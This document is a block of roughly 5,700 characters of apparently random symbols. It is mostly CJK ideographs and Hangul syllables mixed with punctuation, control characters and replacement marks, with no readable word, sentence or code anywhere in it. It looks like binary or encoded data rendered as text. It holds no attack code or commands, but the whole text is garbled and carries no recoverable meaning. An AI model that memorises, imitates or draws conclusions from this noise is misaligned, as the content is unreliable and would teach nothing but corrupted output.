䆧敬䪊譚㧙ᇭ쐾鉗㫯賷?⚊ᒾ駲⽍꒫퀝즩ᖓ휕詳㨫?檏빘键庚듏瞰풛跸束셗ᇔ遏픮䩓쯽쉰鈵婻壆⃈樺걹뗔좸颬Ы鴢掫挗盥馍쨡盩ꭷڣ⃈覄ꤶ榰螮롵⵩䖸搠⡍۶㾈噹䷁뮒ｯ캦ꂄ菏앙茚ﾤﱆ眣흖ʰ믣㍐믽애봠蕧붌踵摏젛ؽ捱놺〄熤⤹ᴫ쵣豳骛ꩥ䬓䱠돪ꉧ봢耱昝㬚댂丠榆냎ڄ膝ᨇ焸᦮쁽綒坔疉싸拍벸齂塩垝裵ꋇ鄈ⴞ?崼倢½믷삞륗㺓뢉욵ᙙ妝?迹ꎂ෴ꝍ鵐뭱帛䔃䨘惜㊩콭鬕宩턍◱匟?Ꝓ搸謂綇Ϟ連뮙⌌᷄↔ж츬酉執䶕⹬㡲ꕰ玸ૄィ皴㰪硨괤ι얷䄍?ჹĸᢓ㳲॥ੰ䒢勔獓蓨잲ႝ鿈랾颏灜虬芽튇?赩?霕鎐☠棵?ᷡ鸶愹模⌠ㅡ㴔稘ᶀ퉃ꥶഞᛐ뿚귧⧯旚䴄ꤒꗩﵙ늇俼ੀ뢕芾ꛚ棒狩?݇ﵾ혒뭇ꍼ홶ṳ찐묢ᴛ䚚믌뎪Ұ噊殙綇㝡≪芮䲻딟ἒ끲셛캋ࣦ仫庿?齹霎涌屸꘴?Ｖ掕쒀穣ঠ?◗꫊蚛㡖ﭦ䀋ꬦ뵫췭贰Ჲ홷ማꀤ㩃靡ဨ卡뫸쮻ⱟ᫝龎䣡欉ꣀ舧䩝朥ᕾ⢫阹﫲喐⺑慀Ⴚ䍞﫨⟕፠顊෶㠖⤾⩰큧䚇朌᜚?⫩鵦랂⫖︈蘢♶?콀Ϝ褅ᇳᢇﾒ溸밅욁⎓ࢪ粤駃攵栉鱵₽꜏×脝ퟨ䔂芌죱䍑䧸ص⍼醲൪୙䚼졾곣铸鶫뛕哥耨놬늩꫓?ꉄ뤩벱䬁?팻䃼泆蒮ꉓ샴鴦ꍜ㏘ᔴ琒分རᛥ冰뜎㥩諵骘쮈脿䠋畞뢹䠂⯏ﺔ꬝㛒悋䂔泖Է硾쐅藫鄋ᵨ崘⏅?禃憵഑흰ㅕ嶎붸裬疑韩諻↸枆虁輥櫁뉹묣㣦좊뮜瘻珋ነ瀥谮犑?㩁⁛纱鳫⾀넮ᚤ遴䠡㵮⼫螆뻽悈普ဖ곽࠶╼馓ᤠ循Ṉ픹雓꜀捪䒞ੇ?㌸虃醑ሀਅ㘘簇招Ⱇ뺝Ꮈ㯗꫑⼽甃☴臓䈨嬗⿻ᚏ⅄?紒槔?討膵ῗၷ쌂旔꽀⧼愖?嬩訖険絯褁쵝?띢ꑾ??䉛烛흶ᐕ竚ퟘ蠽๸鯊渀䌘⹩↶훩ଙ럤⎘濹児玿?쥽멨孚ꪀ숒퍩ǧ૔ᆱ律ⶳ꩏肘妅䶔钬ꈹꝞ?師Ιᑚ㌽ྜ坟洬籶̽᚜ꦛ嫻Òঌ?狴噮曅黀薾樾혪殟쓟ᔠ汚?ꮂ쥢癩춲퀂帱꯶䮶?ᯌꢳ껽✢嬋饥熢줉ᳵ徵韛䛋錚ઁ辅ﬗ?튾ច婬百䳅뎫㇂텄?ꭑᬝ藚녬姸唤醴嵰뎘曮귌䜡ࠉ弨ﵻ윹鍃ザᲄ㮃峖⨣裈繪礬꾭術╄쑅뮓ঁ觻偻丬㑱쥴첈뷬?ؒ瑠慨ᤱ忥쮕젾ຼ灠橩뿳㼦Ⓚϻ漗눅੿퐯拌偛ᜦ㳆弇瀶ᛄ⌋ⷅ됗졂跍螑勝嫆㢰悯쀕֑져娸ⳓ㹴鞅龺醹䓿튬?㷖菉藼؀幬삧㰧䄻놥섥㐑륷廍ࡳⵣ꿕⯮픡त꛳ꚮⴘ햶奭寠䎤㞀龦壘啕劓躥­蓓捇꿀諻竡＿댹톏껙?㼱砆⩯윘뒁駚㓽冱ि兠퇉䈭㻹嚃궠覼?葈膯胺疁쒼壗墖욦ꠛꫧ㸤㽖橕䇌໕ཟꏲ໛̛ぼ摰⢼衎ₘ镗閻䝼?僕䐖㟽ꨨ駭먔⚿ᓁ嶷찇択ƕ軓ꐍ冷뀉첁ⲵꅷ兎愈㎧糰ᅟડ첰㈎⨉↤ਓ뚧똸齥北殂萇᭍狤攀嫓辨糒汇쇤섕䦆匶酮鼶ㄴ胘斋誽뵥㵼栄↶龨㔝ዄ擉莻혘餇皳汚俁撨踻쌟௖馾놘朡䪢ᛆ럈ꬢ狑ᗽ냭鉙藶莯䛌쪧ᤣꍸኦ鑿됗ᳰ苑矕余Ү뾚㕯駕䍍ះᄶ雫ﾅ䡗俐䃭哐㤐愢但䨅襯톥楚鳳䭰屌쪠齃컗墧Ⱕ梆䍀﹂셹?㋥矶腂즦廖듧從쓠䒳작뵭朸욞屻嫿슆邛໪㉥⌗ﴤ댖❐ⷊ㴤㚘饴鰑孏ේ㪏崙畧濌㾑芽민筒퐕煐㽺ᒒ췂댻ꌟퟠꎂ鶖鎲풅⧳ﰏ⣩躣蕤帝깽ᾷ麞쭸ѡ?䄪෺爐蔁ꨭ棕殢넊嵊רּ滮陛왰䥡檈ﾴɛ㖩鋰뱍엾죬繝㧏䄱왵뛽߳䷿?ꅆ灕孥捉㢥?恆収ᦿÁ嶢羅햼ꉰ졑쒒詽㧈ꧤ孙쩀鿲켺⬒સⷱ귈언䰻歡蔷스㔩㈧＜ᔍ行໭伛겈殯䑱䱵敥ȼ⼺ᇇ쏺횷≈伍ᢻ꒻㸜༗⩲ୁ庱䍎ᚿ瘟램ꎽࡔ䒱잇랓륰橉鰉轠晃팆樿耒㙰냱ᙈ衳ᆭꛧ䕔눳놈횛덻നꢡ鐒駖燉稪畔ﳨ⺉ࢧ?爐菹썣걢恔᷼遐硿㬳ꢧ⮵㼌ે⦄痢㘷⺰≍◨纸㗚讄ჴ૏밽ꗷ핐?ᬟ쁛㹬揍ﯦｶ漊炗ס훤帏揯퉋ᛊ幝갪촫?뀢⢲ૻ塤蘘ዶ䈤姭뗙鶿⛚썀䃴℻劕螾篵ꐌ⃂룅뱒拯ꐡ윗ﲧ栜艙弲ꫵ荰儉狕핥哏Ơ໭뙺㩣魇ຜ鎙⿜ᢽ흴ャ妐꺫珦彨䚯黕࣢죄᭬ዅ䕂屍ꗻ͜愙廧㙩揥䦫?좍ꦦ㡀꣐楶坂ᒗ늵൹軵枵ꐂ↪핆썐蜊䦃陬㵖ܠ깚溤䴧죸婧쓂贱⥱쵍ṛꄗỊטઉ坋⏕搈มƆ⸽뜨둺᜚뽕삍ⳏ灂㎀ⴔ煡ㆸ돵玡谲稸䈲䦅臉뷩㤧跼䗽㯧祠⡲槼䝾??盌ḇ渓溑㫬攉픭胉㘜?䲰᳓碏Ã뤁ḅ䑝晬䳼ㅎ厧⟵龮㦰儸禐?厦ᵫ둗㩔ꟹ쫩夰閝㓇湥铎諬㗁숣?ꂸ걷꿱엻쓪輬閍ꖇ묢勴身杋ﱛ捛쓛䌮ﵻ먨⪅抿킻㪣妤ἤ렶蓔콉Ὓꇵেㄳ㋃岯㙿坑ꄃᨭ症귁쵴徃橉瓕咨慤儗㺰龱獶괈㴫⹐撍␠铚쀆樦鋁迠ﭔ篪啮능啚ࣻ람龊仅ヲ업€㦪鈿‿⩦Ꝯ丽ᒽ別Ⰻ?隯춽ꉿ拰豵ፇᬧ㵧籍ⱗ鸭얉燛䉭矼팂讲ﳭ늴禌煨挊ݺ킂῅眙툴탐促ꁎ熡䈁鲔룹졽閿컦䉬肋⽳⃝䷡ꬺ燼ꞔ㿟阘ﶱꂟ躳统?씓悵孎溄᷊丄ʎ扼㎱틙㙇侏ъ蘁꼯诘勱㯢ꕐ㲯ᰕ饏웫쾆þ涩랷盯돬Ꮇ㭂ﳖ궶户롤늎桰᩼燜ඞꜛ᪵⊓輌悓娀㺠쬞ٖ닻請윅⦥萑熝憺쪓朆勞⽌㠯쵛䴄㚀픻?䟚已싣䩹蹸荨澏⌴彘碡쒿벌嬜殅蝜띙?஖䄯ﭺ?蕉夂ᒛꗴ职侑칯磁摜였䷧鎗䷩谸桏㻞衈奬侦꿧턾휜ﰑ呅㟱腝鱵꼄♿휜ಊ馎掵ꮕᏐ皜闋䲩䧶떴奈斱͏싘䋦?햙쓀ㄽ▵??ꔩ䐬?㩳ᇏ矉ந궹쯮䧂䠢䡪Ģᄡᖸ鷯᱓ﬓ✓㗪䘋ጸᖻ邆↖믇損ɢ曍핚쎴쎀쌟޸簊乧涺ﱙ刪馶ʹ縔ᔄ漊숁噼ߛ刑㼚崁巚黙爇ʔ중㏭컫跤깃抡Ꮩ?ማ瘝捚넁散퇲뼛衩땛㣚愹〸⺷ફ㟡楗민꘏ꃽ?篠ᒝ쐼쫺枮暒많졁꩞ㄼ?데螇韛?畮눉煾꘷ⵌ鯀窾Ìᡸ棛䔁弡镓?죵솫ꐇ탥б啤藿奴撁Ѩ஠睊멪厔魴왧껎끮ሷﹶ穃燼㲣ϸ鏴뻜鬖㨫萈ꬒꚊʼn仮ᵫ縎旑앿鬟鯻毋椸飩Ď?ꡲ闈끈뀩⩊癑䤲庡⨸늆녊﫨̈́綒鞝訯䊫蔎鴐흔붸⊛朹㷲㓆뚔⧒果莺⹉ҵ煮땻㨕䆦䵟ᄆ紎͹뽚ో쓌뀠玄ﵱ묾驭㠃೑敮噇苆녺徵艾嬘讚ꅟↇ캽㦢爬폰㶠ᦘሊ뵟㐀䫑꙽尨ꂏ?☗淰毁额䜅䍘꘼?㍖팠ꢨ屫栆칸붟葊鮲̈́ⶻ슂廓꭪渞?ᓰ勐ㅇ䠐䰺ᦨ?愲㢄罶뢦秡幣ឧ糲肓혋픰㉇锲璷ლ먭灼ፕ臻镸䨠寙숯⼝剦䙂誏꜃룘쵬⪲⛎⏥ⓞ鿫?疱㒸ऺ刴⸋揂䪗䈿퓘鯈↾ޚ疑갠Ӷᐠ䒛矾엶꾿ﰚ?箣䜛劢읎鴰⟀ஜ赣殿춥ỶꢁⅩ텾棊烛贈㚣졭鄻?瞺喸甹袆宠ዺ⼴辰㞊䫷鹆⋃胐與๠ಸ䧑?蝊둣봼ᅖႻጃ閲ᦴ猼?᱅㡫ﾵ榲灄뵜헀뒘蘭䚳박ǵ塉鑈陣⟻槅༩ᅲᐪלּｗ㻃顷惠剹?蠦缽괫퇳ퟣᏇ﵊坉㹵젘ὧ눠⼰궉⠈㙮ၕሑ㊑箆ۗ䠋䐯钤몭▶㲏㳘ꛐ夼ᢢꅯ츓폜⋓헪螬힬㰡ܰ࿕箴튽⫈௅걠֧௤౔䧃婀滷뛆ﺚ頞Ｐ⍭ᤈ䊪?뻢㻝긙흪颣鉳䏓㜇僯蟨ᮩ檨䙩牷࣋㭬?鶩絢ﲽ⾒厧縄梁训཰珍풑岄㘍►媤轠犫㪜ⷤ썤ⶸ塚䤬ᛕፀ䕤쐎圃鵺㌕â⃔쿁鹹꘾蔾좎縎㖔䀣囸䝎耣▟?궺᮹ꊣ蹄藆﬚㡰뗕Ǘꖞ蛔䨸᯳始䛈馆盔圩둱쑕갏钭揽ꢺ?ꖒ蠐ᔋ툞흢䗎힝즅铱۔䩗䘼ۚ徜鮻읅㡘疼ﮃ\x1eᓱ慢깘볫滐㞼ⶢ⍋曝醙投붜峘?펶됔俉㌐᭿蚡ꯗ辈槙ౙ਀у馥㭍皒贆컷할??蕏⇵?ꈫྸ紧ᛊ﹜䁓?ᔲ僐厠폿닸⋽湈슨潹맕싍衍焏饊캔睴?㣙ꁍ᪥̼害䢙ͮࠡЀ렗҇꒶陼䢖邽ꅔ率脯儱ꘃ䢂촛ፊ椳е篟灋ᆽ힋惌婻ྲྀ䥵䞛륮ᦲ쁎䇓?萦఼쀛ᐅ掴ႉୋᭌ끜뺱ꮪ虜鷴殅㘜ṯ㏫▹﬈љ慃澗쁮濽썗榭ᮼ䃸ꌔ퉑ஈ肦⽈⛂胒屙䡠뛦됭䉳ڻ奒౨覷嵺ṱ枘ꂄ✗逰䆥봿Ꝕ紊北탾반蔛崊蜡垦䍣헚樂㋃꼦㒃⩳沽㯽澚ꋇ觬鞮ᢨ欐ꬡ宧Ǽ祜伓ᙇ铀㯀֣䅥硻ብ藳ⷱ✋⪙琲潗㛹枙噐땗촅＋ﳵሧ衤ꮻ誄䫀㕙ᨷꋻ吐ꉜ濞⊙䵌䈧왂ࡊⓚ䋋ꪄꓭ⠆易偈瓏揼旾썙᧹⒄ᾁॊ胷豗⠗啟鑆ᣞ?룏렂ⷶ緣赬竔톂겐볍怡蘣持ᬘ⡯㦜몮ⰸ観觯⦏礍ర㟖גּ︊ﶰ㪬ﯗ勾宍㹽啭혞昰ᇵⴻ㧅햜檏伊畴늋玹᷒㥢紟ੂ鿣筠넙疩䠏죭鍠켦盦闪ﻑ衃┢貓爕甋쳌칖岁偐䡓셎?纲⡣ꄙ腃憘៷ꙥꙤ薍՞㥺ⵧދ繃ܘ졦\x03㴎뗷커喡釆⁞ʿ誜혮凗収껪縤柳채⭸謁僠ᬸ?ꚼ預ćʿ㚨걗粍赠鍝ꀵ⌜윮畹忛ྺ᝛븸ೞ㶄㵐繁싩膐ᾉ涷ˮ冀ᣔ畔네ꌊ檳넦䈝ﭞ⡡??煖嶜拎䛖ʵ഑䄟㿾ꦫ뀸⨶꤈㹜週顎赉ᵩ约슓︅뾦ⓥ칱㬌䲬㫈?븉㼝ﾪ⩶㦩쇿사ᐍ梎䣂⛚鋀럴樐饴ध挞瀺勬䔶帣㡃吕ᐴ훜?擰࿨忸⑑謽?塼噪鎠痷㐖Ẇᮆ牰挺邎∹ꤲ⇻鲍罔嬸औ❱䂂쇝㧤뱦뺑ⰻ熄ꦜ㖽糙릊Ὁ䚪㜱ⷀ온䷥?쮙ꝰ⢘ⷰ嶺匯᧢䑍?䉇쪗釕≌ʱ耤僄ᚨ汜됈 灠↪꣏㕍ౠꌩ꒟둿舜⥋꫗䤆肓Ⴠ袸햓뉸擖葵?ග讪駸ླྀ늜鮲ʪ輕퇷墮꥚矣ㅜ혳ㅝ⿵螎룡稗뮱될瞲⓻⫠紼該謖㭏䉋羡甪霔产栗軣셯镵ђᠶ뛌ޙ薐᭙餞ᜉ✫ᠺ酔໢껵褠뺴좯垂ﾛ넘㨱꺔洁㾺咺僑䅼⨡䆹ᓹ嫫道칊㩷☋ȝ⎺绕ᵈ솚܋␉銋䣖鐶ꓭ쳲镇㰵䓧⃹⤃툰缄嫆△鍟覈㙬鈇⩄諫鞟酁?䧛齬Ƣ囻✫厐ꇟ쮺夎唖⬅튴臣ᑈ㡞櫶狽衛灆瀧Ὅ篚朦먞?ꀻ入蜉챋㵼艡㷾찁ᦈ全඼ᕘ꘲䱅頻츞?旭⒨픰瀎ቻ畠?㞩㰻输附뒖ⴿפ닎ⶡ睲ࣙ฻않쁩⬢꨸礣䓙䓊㢸㦵᦬始䥤ො量礡ᷩ繟褎밅∩㴹֒ಧ뤤鸈쭍ߜ턱櫡嶃쥽᜝繃옚䷣ዮ駸㋐鑃ㄊ쇯嘛૦?狙⦼ⵌ뛥঄纔⠍諃曔䓌䞮ꕏ惵䲱偨뎙ꙗ뜬毆봻倩⹭陛?ꁋ᮴靔鵛᧎큏ꠈ⊲භ䆽䳧뎜?Nj⑕∝?鴎詿賸ấ頔齯瑟┴呲쮛꽚䒜鑑臼鵧⋌椷゠淯傝錾⿦嗛瓨櫭聯繨獁귙눲欆籈겏뀫閁鯘蜤鄩忷朣?겚⪒ၲس䃖⿁獺?㍌敹挮Ǖ悮뎑Ⴁ鵡ﲆꪤ뷪氽甞셂ᇢ涥쨰摾⊴묩漜糏젆ꬾꖰ⟖榍甒쓇곶隟炭캪츤虣᮸殶?\x1e宎๸㣤?蚜鷋謹䲪窮牿㻜隞଩寅꺝⮂㼡㖁姹졃ꐙ⾋༙䌩ꙛ뉺瀧侱複쥹㙁䳦ὀ緌駑덊闗⣕볛?펇鯶蒻ˤ禡尲遣ѱᘕḥ训甌Δ徲뭒䵯⺧쌈霢?㭽㫟꛹惙햮쫫Ⲝ젇꧅蛰脎ᩑ騆斕뀢䵤뫕튱䄃讂쇭痉䬸쁖ꉩ䕏鈃ᴌ⢷鹭쥭ᜏΚ?䨨蟢薪쾞ۃ蜲펝氎䊋턅כֿ꣇⍤ꭌẘ஘똲⹜晩瞈ߧ氱댟龖믑섲ᩬ䈔熓☹쀇鈐⟅ᝌ?༙밪ᒰ㖩뎿漸鎹´뽀ದᇎ⏦볗藫⠜?╖굺쫝꧰Ϸ쁌숺툢踫⿅袞獈慐磪콝瘡搷歗髣谚ખ๪오졻ﻻ堜ꅘ¯劒⨿䳭釁邍結奐沅ᦵ藴墎띷ㇾ첥䐴裤띉쟨⠕䔨㚗浯૗뛳산ȉ折㤛㡴畬蓥䰂芒ﰡ킃熕칃๸?禷⚪?휇쯲쾬?㵡W◩璁娛욬⦛▵刿嬉̤殉媬滲㖨铙⭜䡨遖ꎭ놏ᖎ儴땹返꺃Ⅺ玤ᓲ໷燓汳?훤泘萃덩蘰賦ꋵ事査쾫薨綝㝘뒼୞꘠䶶ᱳﵔ䱽䣬먳ຒ曲㜢ʺｩ鎖ꢿ㦥쵢ꏺ肔㩚욻媑ᬠꍏ䬽뉷⧏ಙ먃곢肗建飍꘤醐䍁썘㣉ｿǙ龽秵刣⽲ꎸ?ꖊ祳Ồ⩲ꧬ쳅喽ꈔリꝶ肢皢逆ᱞἑ䀕࿍멫쏅ᱪ瑒ૺ릇㥚臺玎㒩顬\xfde1ੰ븓絫؏蚇䧍䜘戧冇഑坱ꃚ⬫獅巎䥾ꘝᷛ勬ﺺჍ䟮ꇬǓ릿㶃踿〉䍖뢸?㏖㵘츍둗㭞峈㟍뒵惊묂傝瘎븴늳ᇏﹳ軳?퀀臺켈ꔷ鎀槊쯧⼞?ꚢ亨楣䍺篣贍岚쥫ോ蕡ꀱ毼㑦馵୚缹不琴쥹⭙黼ᚗᆏﻋ兰?辽휳鶊ổꭀ⧿ꝲ䓥뤷焕鱄傏汕稄௔岭衿댸衸ᒔ?墔魻玨ࢵ塥ᙪ셸ꗏ⅖ㅰ蹃寨襻뚬汽黡莏樫ὄ뎗⿡볯㼸냭硊魄齜䩵ᒞ吞룀䝻隫䒇붻撻卿혏婄쨵ᙙ純捜㏘䜍ፅ䔥攫밞䅊탄揜ᷠˬ?秞뺼慯燇圅ᕓ퀶끴벣栢ﷲ縞䟻ⷡ롨챔蔀묄썐᥹迈컾꿈惛籙蜈៍抢熘ﱔ䮐뀝⹽趢?桌쪙娄ꄧ볶䓚㷹糬깕実㙗蛗푫㱆ᇣ뎶吒쩕᯻葌릒﫰濶飔賷娸쟻穞坬徘䫗仌겼뼰抨蜤叜跐䙫䛶钃䘆靅磭阎㮞姮硘ᔋ闙姦倵ꔄ쯘༈珏ＫⅥ폠疡ﮆ懿惂胤Ⴛ흱奈泤Ṡ㎞?ḃ愴㛼葷榾싧핞軷렩?䠫맽縌賄唸ퟨ԰▃㲍勫ோ隮ᣟ턀쿅ް㙰慝箬毶?骧煮䦺퇽繡稲蔌₩㋷仚킛漚࿓䑄裬晱腥氅⅝䈸팆琀ꮷ❋뉒㗠牄䜈ꐊ諷耥㧽嗅鮛୼췡䴶냿坩ⅹ䞍븊춃ᛵ塢羍䳎僵?瑩矉傗ḛ硯띧鯡颹붕㪪?᭳莺銏볈唶⺪὏泣켄騔斩뱯즿낾ꨁ蛧⍥芒㍛㝌￸⯉媞츭욓ﶙ확淖↓?䫨ꅤ?붐鄮ႄ벼㦕ⰲ岬聹뱂꥗ॹ梺芫絹噻䨷ꌈࡰಾ奒꘨맞扴룃ㅎ☎쩓侊潀撰蒓듪튕땨壁咔汨羲㒐ⶵ픊歕烃ἢͫ衆ꙺ⣍뒌␃淳詽휰亲膶铐沁痛︲貜ꋼ㴦䅴뻅엲跼쩒巙톣?⽳爠萣蘗嚾ꇦᓺ薮㴧꼠옃䯓噩ꆧ텸颼诃鼼Ꮍ宣ዻ薧☬ᩫ蔗閻倾䬻礷䂓ᠫ艈궎햔睸쉏⨹ﺚ릙䝝槻⛐娵皴䬎鷎ࢩ⬬ऊᐚ青⋚닁紽樴轼낝繤㙑蕰绿죻㯳?칀℥ꩳ⦖播尖쵉鈞걠ꭔ췩袆?⣷ꅜ큈碿똚緼樱?用ⶼ䥽༟텛ش䣊娅耙ꏑ心㆏ᨼ?昌䈿Ⓓ뚓䝅ࡅ픚襤ꀇ旅炯ዝ努ۑՄ깞ᜨႮ靟?怹棲曝ꔻᅾ閤镴嵃玧㨽㤙᧘殯⇂煃堖⚭ꭑⱤ趗弄씝荶㌠㯠蛵꜠畃雇旸筬ꇝᴇ⧍?墨鏑⎼밑絣㩷푉碓ᰌ剮髢ᢅ쒑蹧ภ佅㡲ⶒ锈쭦嬁虰䤏ᶙ⶧⹭⢾릒嗌됴໬➚嫿=땐憐࣬⫦⧢铑༴⠯泌ញ딒ꦠ᩼杣룽벳崴쨦䅷ꮬ딡谬謥ᜟﭣ稛䔵腑庽?﬑랣᠞⥬쐚ꓒ較䰩꛹쯓៫䅿镙쎧貮㖙靨缡剜뗲皆랪ቯ槨ᗿ倴ց䈋䭱慄젎빼??鋶ใ汨惍㐱䥔餧㞡Ꮒ扠䅷෍뤈⁝㑿蔾楖ḹ?춊鉼਍┉ఁ哪솉鈾禰द䞣쎸엹筍佳椚ﾒⵗ≲䎘䪐峇㳭ꡔ飷뭭븐䟈뛭瓍ᢻ緞⍛磲⯭Ⱉ֜ㇼ樇ꌎ嘯꾇気߲㬖ㄹ䙹檺皠朌ᄶ愙컆ꂏ⺰뙝틝茙퉋ᶬ뺗澕⪲늓㑲醰䵡叠睒衶䚝镅瓥䬽鬰⣣闾뾽䨥⃊哣뇎쒁༵颤롟Ⓦ釈ৼ凗뺢揃鰃왤퉒斿ᳳ줵?⾮쀺?Ḩ젅␗䵧ꈁ뗱?Ⳮ팶暁?癏⛓㳊㕵匭?庉ᒺ뜆睓뿋랔⺙춺澴䭕᥷멏柎믭妤鬔?㊌▭夎ꌋ䚲⇧뚯ᮅ댈?덑뤚葷뛞社낄㩱䴛?᭭Ỵ嬩ᚓ鄙羿朎굝。뒂赢ᒪ埜轖삅ផ藃᤾姈竫?簤끵섯艮뢪쩌粯⨉徖솩앙玞喸몕馊랎ᣉ雷➡癒弧溢羪螸켜飲삎巢쒛拺ᴅ垦섀喇㴟礫竀㟏᯼赇᫵셄컺賓⑙杀築䩜ᆣﵞ伍ˋ熁㝳褳毉鬹경蕪㍽ⶌ⬩룘鰦끡ꉾꖴ䋈狘읶㪮貜钻텗礎╯Ѫ쯼딒证㜂㚤焐캕녕്ᘓ彶뻇ȳツ즺㢷䈸ҡ䰧憘鸰඀遢鐊櫳큆⬯慻⓪Ì殳忏妆ﲏ◌෤뺕ఐ祉撥ﭣ䒕鶴틁่姐ዧ?魆뇫१穂㤖剄鶎?⨦뵌鯴៤姁䷿ꙙ佤챳ᷜ蝞颭?Ａ豙찝熋뙀ި廆啪꣌ຽ찄곁㿕洇ᮘ῎좄㵑唽磻齩﾿旄ắ︦훧壾Ⲫ裢砰ᤎꆼ卿궾樱诩ᦉẆ붧霆셪㭞귌ệ鍞䬫召몟剕曯䗜䢴眃陌䱢⻁ᓔ盷됡ᰅ촸셨圽蚞茿䐽䧭ᔔ诉ꙵṺꈽ㒯볃ꐉ㯅掫䍔闔帙뜓⭸牣㱦艽瑔䠦㼭얙㪑Ƥ뭒螠뤈坼鑼ߒ䒐ꗘ펆ꀁ⽟ᡄᅱൃ\x1b搐⴨ㅂ畽㡂꿽辍嗩沍含됡魏音獮䝰㏗㋑િ童。≓㕭뛊㵬Ẍ৞띩茌诗留?㝾棆蟠胫㛢豝觡⻪⻨蓣鲙適᯵ၣᦏꅏ宲袊?狳㺰깃𢡊ꘞ䢜?깏捡鶁ణ꧹㽐?쯁៧Ц㤯詗﹡》?桏㡿졽㾫ᖉ鳒Ⴉ覜ʞ播ꗁěꬑ렫ᓓ驑?鑽ٸ썣犨㥐뛳歋⧎묶律첦딒呩鯦罝碁⯔쯫뛷吉朗ꄟߘ㈕ꡃิท縜䥲멦瞬泬ृ铐짟ᖀ윌這嬨俕掙䓞뚎⍧楑ꙗ쵷漯篇멟괴뵼㵧ℊ峬柧䚢ꁓ좚襳뙕䃥ᒦ匶䜶ꁓ豣䘖잰꘰颋甋染鉒粴ꋭ饽띡퇒Ჰજ잎碐Ⲵﶛ샺ꜵᾕ?㾂ề쉒넞툓꧚?稿鴧ꄅ䩌㘅눵❒砫鑦’娩曌ꮯሤ鵲㥊兤숂㕦脯汩麃ὓ뿞਴លﺩ珞἖봌웩喈筚⢾⊽撇ﲟ㉢塼ꀛ⍔⢏苼釺쿸?ﲭ幪?､ﲢ㐯ᨰ⬒鉋銛셠橖겒닫ﻄ즒М꧵➇狩ێ렗딄裕ⲯᩘ᠑ጺ續⣯⟟₀뀠骘밦䧋걅Ӭ᫧ᤈ৯躟⧺ईꙺ?۠㻔㊴䓀ꫠྩ᪙᤾嗷銓ꧡ쎽䗎扱鴰⧖팁ᦼ靆ᙌ?갭荻仮蘉燇罽ᛲ꥛㔠磃姰ꡖ澼뀈㽧溡늫䝥敍䰞灏Ի澊媵枓∃ꯐ戮ꐞ矾䐖㹊뵄솄灸਒⚜⩼鮔࿜䲊㊅愽깏糴㾭됁㩃㜥쩤徺☺湍毦鮡㝵湭뗐稜珞㶨酹饳볎ჿ峿ꄺ궡?䣱嬩햨?౳蓡炰꒟멦䞚ᄉ㤵躈诺楕強㦝齭㮴ᐾ㣆勵垰젺㕁賂䃢﯇颣퇎㼬᪬픉걎씱▿ᑊ빿?ꃾ޲맂⪰ꮷ왞攭衕?㫶ᐷ쐠∪꛽쁗敮땖쎁炽盻故鵹႟䯊䌡䁾掇㽠㐑䊤鎰鵾︑┴⠋캌ᾑꥦ鮶라门眴೩蝳ꖡ㠕?ﭕ鵓캷ꦼ洞끃ﰿ畘摄醬꣸?⁴Ϲ◁戫ĝṮ쑻砩鰚൘?濛몗ﬧ⥎꥿?ᗁ䪔烱襩荚뺆괩㌵䓴ꤻ砽幔堗孞ꧠ⦒ﲥ闟昌笔脥찳?ꉳ⏫鯺蚡帠⦎촧姸滽➲凨ᾂ佂?ꌕ➁ᕌスᵰ寎幀竄쀊딐徸ⳑ泃呧村䆉ߜ夡뉧綳⤠㝑ⶾ⦸ᩍ明?㵑੏꿫줎瑞?蹟ﲉ궱湐ꑹ騠ᎏ殧䑷돑)铿㚐癇\x83徘翊휓ﺁḍ쥽뭑絗䠜ᅕ뵴ἶ腽乲ꪲ鵹澕??蔒줍ຄᅽㅎ쬇킥飢뀁⹹ﯨ᱉凜岢徽顽䡺୷僓숌騑틢Dž껊뷜僑ঔ䄊?륖줢殆썔茜᫣빢颴쳑誳侎ꖽ铥騲끑ۖꑹ匩袨綆閳㼢捠ꀻἕ㱣좌遊혐쒻볝ꘪ徺◒꾍傾㦫ꞧ㌖ᦽ硁䶵憅ﱐ䔱矁㞡ﰀ⟳ꛪૻ（牃⏊＇?⥪⾀椔⁠㦭赎ꗵ呖职쵁駲ꁉ䎓鬿曯ꩉ⾯㾘쵤춀媛᷉Jꖡ﯁谾៓【쪆앾㎽랲媅룳迠ḹา໴暹쿼*﫠䨭䣀웺ǒ紀㊿뭔谆둣ሧ꽼풖Ⅼ䳳鼵攆쾦ುḄ竩飐萮﷏庝쑰뵓쳎蹞๠掣ⶌ묌냁䀑㜗䎦쁹⍄❪鵬쟷ଣ妏ꤙ䨥趵횾칤≳ᐭ∈㒺홻ﴇ䘉받⽭渁တ酜轛駶瀠?記쁯Ⰹ윘斁틑藁鞺ᘅ䗅⃉ퟓ锏ꋷ㬰澢擁㬏졶圗졪璛⚉窇쒊湯轤Ⱓ斆ỒＭꅽ⚴懷ℸ摙溎䆎᪴ఈ㑾倫ᨩ쥗&䩳?༁ᰅ揢毚ꔫ꼪튝꿗嘬角뒁﫢鵱碒㉼泆ଁ峜㤀凫远椊?侗횟뫸?醓ሆᐳ簕Ꚏ㘌䁔螈䍒臞摚岈췏ᥱ퓆盨賦긵㪊꯱㥏㭶㱍龛㶠岴乌Ⰱ뗑?ﱦ榹饱娙ẁꜫᨚഴ蹷⯒ᷭЄ돿⾏宅爂ꮢ島ﵪ멉?䑛甧ﰳ䰼좾䋚ޤ髌國䉢?፣휣鼁⢜꩗軎〷뒍☠數뚰泓嬤睶☦䋲੗뺠丠탺䳔鰔㾬皸폊汮讛龮쀠∵䀧ꬅȮ滊꫼紓㍩壦໶ྔ╽뒹簢糼콱皎떯弾愎䱵䉢狗߄ἧ킱鵢９꒥ᇑ䖓涵뀾?䮟ʼn胚闟氳뇄♤ଭމ渘쯣닢䤲펵팱퓉脓뱛뷵ꍢᛷ?ᇅ얹서禩樇㕃埓⺁㊙ᤵ뙐툗?绷⪧㒰蹚⬠礅꾜ȹ璴⇨햂兏似硵苇힠㳞ꢺ䐄⫴礰瀃偆뛂ҿ௚д庚λ聊뼕囩뱴簋℘흲䥃탹⫫ꊋ暩䡃啄ꥦჁ毫ﻄ㾽冷?딓拯㠴쓭İ互국⾉먘饙祍楇漢䌃櫖੬ꩽឌ富귓?敖휭殶觳妱ီ놓ᛱ꘡祂鷎尗?䒌줴뇿꺀х嘽擆๲堶Ꮭ䧣:쎗ኺ቟㌜汩擭㟙ᇰר覒톋䰫ﳜᑱ龐㭕㘮?촖蘮굪乂卷ⱌ翖簔Ⓦ굖톣깾堎὘檩컶뾢䌃㰣০↫ꆾ拴彙栌៷ᴅꐪ화炋鿣砪